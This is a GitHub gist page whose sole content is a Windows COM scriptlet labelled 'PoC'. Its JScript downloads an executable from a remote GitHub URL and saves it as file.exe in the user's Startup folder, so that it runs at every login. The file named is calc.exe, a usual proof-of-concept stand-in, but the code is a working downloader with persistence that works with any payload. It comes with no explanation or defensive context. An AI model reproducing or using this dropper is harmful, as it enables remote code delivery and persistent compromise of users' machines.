Skip to content

Instantly share code, notes, and snippets.

@fuckup1337
Created January 31, 2022 13:26
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save fuckup1337/79befb553e3d6433a60d1968986b8ff2 to your computer and use it in GitHub Desktop.
Save fuckup1337/79befb553e3d6433a60d1968986b8ff2 to your computer and use it in GitHub Desktop.
<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
var w = new ActiveXObject("WScript.Shell");
localpath = w.SpecialFolders("Startup") + "\\file.exe";
url = "https://raw.githubusercontent.com/fuckup1337/calc/main/calc.exe";
var r = new ActiveXObject("MSXML2.XMLHTTP");
r.open("GET", url, false);
r.send();
var s = new ActiveXObject("ADODB.Stream");
s.Type = 1;
s.Mode = 3;
s.Open();
s.Write(r.ResponseBody);
s.Position = 0;
s.SaveToFile(localpath);
s.Close;
]]>
</script>
</registration>
</scriptlet>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment